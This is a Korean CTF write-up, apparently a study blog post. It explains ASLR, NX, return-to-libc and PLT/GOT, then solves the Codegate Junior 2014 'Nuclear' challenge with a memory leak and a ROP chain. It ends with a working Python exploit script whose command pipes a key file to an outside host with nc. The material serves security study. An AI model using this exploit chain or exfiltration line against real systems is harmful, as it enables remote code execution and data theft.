1. 스택, 힙, 라이브러리 그렇기 때문에 랜덤화해주지 않는 정적인 주소 값을 찾아서 이용하자.
2. x86 아키텍쳐에 한에서 ulimit -s ulimited 를 사용하면 일시적으로 ASLR이 해제된다. 왜 이러는 것인가?
스택 크기를 무한대로하면 이후에 시작되는 모든 프로세스에서 ASLR이 무효가 된다.
스택 크기의 최대 한계를 제거하고 기존의 mmap 기능을 가능하게 한다.
x86 아키텍쳐에서는 mmap의 랜덤을 사용하지 않는다.
때문에 이 밑에 있는 코드를 커널 arch/x86/mm/mmap.c에 보낸다고 한다.
static int mmap_is_legacy(void)
{
if (current->personality & ADDR_COMPAT_LAYOUT)
return 1;
if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
return 1;
return sysctl_legacy_va_layout;
}
사실 1도 이해 못함..
: Write 권한, Executable 권한을 동시에 부여하지 않는다.
1. ①RTL을 이용해서 우회를 한다.
① RTL(Return To Libc) : eip를 변조하여 쉘코드를 실행하는 것이 아닌 직접 라이브러리 주소로 점프해 system("/bin/sh") 이나 명령을 다이렉트로 실행한다.
라이브러리에 binsh 문자열이 있다.
아니면 스택이나 정적 영역에 binsh 넣고 문자열을 만들어 주도록 하자.
Tip1. system 주소 알아내는 방법 : p system
Tip2. /bin/sh 주소 알아내는 방법 : find &system, -999999999, "/bin/sh"
system을 포함한 다른 함수를 호출 할 때 그 바로 다음 값이 그 함수의 리턴 값이 된다. 왜 이러는 것인가?
ret 명령어
pop %eip
mov (%esp), %eip
add esp,4
pop %eip 가 실행되면서 다음 주소 값을 꺼내오면서
mov (%esp), %eip 명령어로 다음 주소 값이 eip에 들어간다.
add esp,4 로 esp +4 가 되어 함수 주소 다음이 리턴 값이 되게 된다.
PLT : 바이너리 영역에 있는 건 바이너리에서 사용되는 함수들의 정보만 따로 모아두고 사용하게 편하게 한다.
GOT : 런타임시 라이브러리 주소를 불러와서 저장을 하는데 그게 실제로 저장되는 공간이다.
PTL에서는 호출이 되면 일련의 과정을 통해 GOT에 라이브러리 주소를 불러옴.
CALL PTL : PLT는 GOT에 저장된 값으로 JMP를 하는데, 이게 처음이면 기본적으로 GOT에는 PLT+6이 저장되있음.
PLT+6에서는 dynamic linker 라는 것을 사용해서 GOT에 라이브러리 주소를 로딩하는데.
이게 처음이 아니면 그냥 GOT로 점프를 할 때 라이브러리 주소가 이미 로드 되어 있으므로 바로 라이브러리 호출.
1. PLT, GOT는 바이너리 영역에 저장되어 있기 때문에 정적이라 ASLR의 영향을 받지 않는다.
2. PLT를 호출하는 것만으로 바로 라이브러리를 가져다 쓸 수 있다.
3. 바이너리에서 사용하는 모든 함수들을 사용할 수 있다.
Codegate Junior 2014 Nuclear ::
일단 문제 바이너리를 아이다로 열어보면.
ㅇㅇ그러하다.
보면 quit 를 입력하면 종료함.
target 명령을 실행하면.
%f/%f 형식으로 받으며 v5, v4에 값을 넣어줌. (float)
launch 명령을 실행하면.
패스코드를 입력하고 패스코드가 맞을 경우
next_stage (임의로 내가 이름을 바꾼..) [sub_8048B9C] 함수를 실행시킵니다
start_loutine 함수 실행됨.
buf = [bp-20c]
20c = 524
0x512 = 1298
버퍼의 크기는 524 인데.
버퍼에 입력하는 최대 크기는 1298 이므로 이 곳에서 버퍼오버플로우가 뜨는 것을 알 수 있다.
TIP1.
이것은 시스템 스터디 4주차에서 들은 이야기이다.
ROP의 문제는 스테이지라는 것이 나뉘어져있다고 한다.
Stage1 - Memory Leak
이 부분에서는 도움을 많이 받은 문서와 심키님의 역활이 컷다.
내가 도움을 받은 문서는 밑에 참고에 문서 주소를 적어놨다.
cd80 메모리 릭 문서에서는 3가지를 다뤄서 자세히 설명해주셨다.
하지만 우리는 패스코드를 알면 되기 때문에.
처음에 설명해주시는 이 방법으로 패스코드를 알면 될 것 같다.
방법은 이러하다.
변수와 변수 사이에 널 바이트가 없이 이어져서 문자열 출력 함수에서 이어진 변수 값들을 출력하는 것이다.
자 여기서 왜 우리는 바로 bof 가 터지는 곳을 발견했지만 왜 이런 귀찮은 방법을 하느냐 라고 궁금하시는 분들을 위해 설명을 해보겠다...!
이 위를 다시 차근 차근 읽으면서 이 밑에 나불나불되는 내용을 보면서 이해해보장.
일단 우리는 이 bof가 있는 곳에 오기 전에 launch 명령어를 실행하고 패스코드가 맞을 경우에
이 스타트 루틴 함수가 있는 곳 까지 올 수 있기 때문이다.
매우 간단한 이유다.
고로 우리는 패스코드를 알아야 된다!
그렇다면 일단은 메모리 릭을 해야할 패스코드를 담고 있는 변수가 무엇인지 찾아보자
ㅇㅇ s1 이 우리가 패스코드라고 생각하는 패스코드를 입력하는 곳이고...
s가 패스코드를 담고 있는 변수라고 알 수 있다.
s = [bp-30]
s1 = [bp-238]
우리가 입력한 s1은 그냥 출력이 되기때무녜...!
bp-30 ~ bp-238
bp - 208
하지만 우리는 0x208 을 다 덮을 수 없습니다.
0x200 까지 밖에 못 덮기 때문이죠 ㅠㅠ;
그러나 다시 위에서 생각해보면 target 에서 v4, v5 를 입력할 수 있습니다.
여기서 v4, v5 를 왜 넣어야되냐 라고 생각하시는 분은 문서를 다시 읽어보시는게 좋을 것 같습니다...!
또는 제가 위에서 말했던 말을 다시 보셔서 ...
"변수와 변수 사이에 널 바이트가 없이 이어져서 문자열 출력 함수에서 이어진 변수 값들을 출력하는 것이다."
그렇다면 target 을 이용하여 v4, v5 에 값을 넣으면 모든 0x208을 다 씌울 수 있게 됩니다.
그러면 이제 메모리 릭이 성공되어 뒤에 패스코드가 나올 것 같습니다.
0x200 = 512
target
1.1/1.1
target 입력 형식은 %f/%f 이기 때문에 이렇게 입력합니다.
"A" * 512 를 하면 뒤에 패스코드가 나오게 됩니다!
넵 성공했습니다!
Stage2 - ROP
이제 패스코드를 알게되었기 때문에 launch 명령어를 실행시켜 취약한 함수에 ROP를 해주게 되면 플래그를 읽을 수 있습니다.
일단 send, recv 의 plt,got 를 알아내야됩니다.
send got : 0x0804B07C
send plt : 0x08048900
위와 같은 방법으로 recv got, plt 를 구합니다.
recv got : 0804B074
recv plt : 080488E0
system : f7fb50f0
offset : e90
bss 데이터를 담을 공간.
bss : 0804B088
구한 값들 정리
bss : 0x0804B088
offset : 0xe90
recv got : 0x0804B074
recv plt : 0x080488E0
send got : 0x0804B07C
send plt : 0x08048900
ppppr : 0x0804917c
코드
from socket import *
from struct import *
p = lambda x:pack("<L",x)
up = lambda x:unpack("<L",x)[0]
send_plt = 0x08048900
send_got = 0x0804B07C
recv_plt = 0x080488E0
recv_got = 0x0804B074
sock_plt = 0x080488B0
sock_got = 0x0804B068
bss = 0x0804B088
offset0 = 0xfb0
offset1 = 0xdf100
ppppr = 0x0804917c
system_libc = 0xb7fb4aa0
cmd = "cat /home/hubeen/Prob/Pnuclear/KEY | nc 10.211.55.10 4325"
s = socket(AF_INET,SOCK_STREAM)
s.connect(("10.211.55.10",1129))
py = ""
py += "A" * 528
py += p(send_plt)
py += p(ppppr)
py += p(0x4)
py += p(sock_got)
py += p(0x4)
py += p(0x0)
py += p(recv_plt)
py += p(ppppr)
py += p(0x4)
py += p(bss)
py += p(len(cmd)+1)
py += p(0x0)
py += p(system_libc)
py += "AAAA"
py += p(bss)
s.send("launch\n")
print s.recv(4096)
s.send("hellothere\n")
print s.recv(4096)
s.send(py + "\n")
print s.recv(4096)
sock_libc = up(s.recv(4))
system_libc = sock_libc + offset1
print (hex(sock_libc))
print hex(system_libc)
s.send(cmd + "\n")
s.close()